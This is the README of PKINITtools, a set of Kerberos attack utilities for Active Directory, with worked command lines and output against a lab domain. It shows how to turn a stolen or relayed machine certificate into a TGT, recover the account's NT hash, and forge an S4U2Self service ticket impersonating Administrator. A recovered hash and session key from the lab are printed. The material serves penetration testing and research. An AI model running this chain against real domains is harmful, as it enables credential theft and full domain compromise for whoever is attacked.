PKINITtools : Tools For Kerberos PKINIT And Relaying To AD CS

PKINITtools repository contains some utilities for playing with PKINIT and certificates.
The tools are built on minikerberos and impacket. Accompanying blogpost with more context: https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/

Installation

These tools are only compatible with Python 3.5+. Clone the repository from GitHub, install the dependencies and you should be good to go:

git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos

Using a virtualenv for this is recommended.

Tools

gettgtpkinit.py

Request a TGT using a PFX file, either as file or as base64 encoded blob, or PEM files for cert+key. This uses Kerberos PKINIT and will output a TGT into the specified ccache. It will also print the AS-REP encryption key which you may need for the getnthash.py tool. Usage example:

(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py -h
usage: gettgtpkinit.py [-h] [-cert-pfx file] [-pfx-pass password] [-pfx-base64 BASE64] [-cert-pem file] [-key-pem file] [-dc-ip DC_IP] [-v]
domain/username ccache
Requests a TGT using Kerberos PKINIT and either a PEM or PFX based certificate+key
positional arguments:
domain/username Domain and username in the cert
ccache ccache file to store the TGT in
optional arguments:
-h, –help show this help message and exit
-cert-pfx file PFX file
-pfx-pass password PFX file password
-pfx-base64 BASE64 PFX file as base64 string
-cert-pem file Certificate in PEM format
-key-pem file Private key file in PEM format
-dc-ip DC_IP DC IP or hostname to use as KDC
-v, –verbose
(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache
2021-07-27 21:25:24,299 minikerberos INFO Loading certificate and key from file
2021-07-27 21:25:24,316 minikerberos INFO Requesting TGT
2021-07-27 21:25:24,333 minikerberos INFO AS-REP encryption key (you might need this later):
2021-07-27 21:25:24,333 minikerberos INFO 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
2021-07-27 21:25:24,336 minikerberos INFO Saved TGT to file

getnthash.py

Use Kerberos U2U to submit a TGS request for yourself. This will include with the PAC which in turn contains the NT hash that you can decrypt with the AS-REP key that was used for your specific TGT. It’s magic really. This tool requires a TGT resulting from PKINIT to be in your KRB5CCNAME env variable. Usage:

(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py -h
Impacket v0.9.23 – Copyright 2021 SecureAuth Corporation
usage: getnthash.py [-h] -key KEY [-dc-ip ip address] [-debug] identity
positional arguments:
identity domain/username
optional arguments:
-h, –help show this help message and exit
-key KEY AS REP key from gettgtpkinit.py
-dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
-debug Turn DEBUG output ON
(PKINITtools) user@localhost:~/PKINITtools$ export KRB5CCNAME=s2019dc.ccache
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py testsegment.local/s2019dc\$ -key 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
Impacket v0.9.23 – Copyright 2021 SecureAuth Corporation
[] Using TGT from cache [] Requesting ticket to self with PAC
Recovered NT Hash
fa6b130d73311d1be5495f589f9f4571

gets4uticket.py

Uses Kerberos S4U2Self to request a service ticket that is valid on the host for which you’ve obtained a certificate. This ticket can then be used to interact with the original host. This only requires a TGT for the machine account of this host. This TGT should be in a ccache file that you specify in the kerberos_connection_url. The only accepted kerberos_connection_url for this example is one containing a ccache file, so for example kerberos+ccache://domain.local\\victimhostname\$:victimhostname.ccache@kdchostname.domain.local. The SPN should be a service name on the host you are impersonating, you can’t use this for delegation attacks (since it does not implement S4U2Proxy, there are plenty of tools already for that). Usage:

(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py -h
usage: gets4uticket.py [-h] [-v] kerberos_connection_url spn targetuser ccache
Gets an S4U2self ticket impersonating given user
positional arguments:
kerberos_connection_url
the kerberos target string in the following format kerberos+ccache://domain\user:file.ccache@
spn the service principal in format /@ Example: cifs/fileserver.test.corp@TEST.corp for a
TGS ticket to be used for file access on server “fileserver”. IMPORTANT: SERVER’S HOSTNAME MUST BE USED, NOT IP!!! targetuser
ccache ccache file to store the TGT ticket in
optional arguments:
-h, –help show this help message and exit
-v, –verbose
(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py kerberos+ccache://testsegment.local\s2019dc\$:s2019dc.ccache@s2016dc.testsegment.local cifs/s2019dc.testsegment.local@testsegment.local Administrator@testsegment.local out.ccache -v
2021-07-28 10:09:13,687 minikerberos INFO Trying to get SPN with Administrator@testsegment.local for cifs/s2019dc.testsegment.local@testsegment.local
2021-07-28 10:09:13,695 minikerberos INFO Success!
2021-07-28 10:09:13,696 minikerberos INFO Done!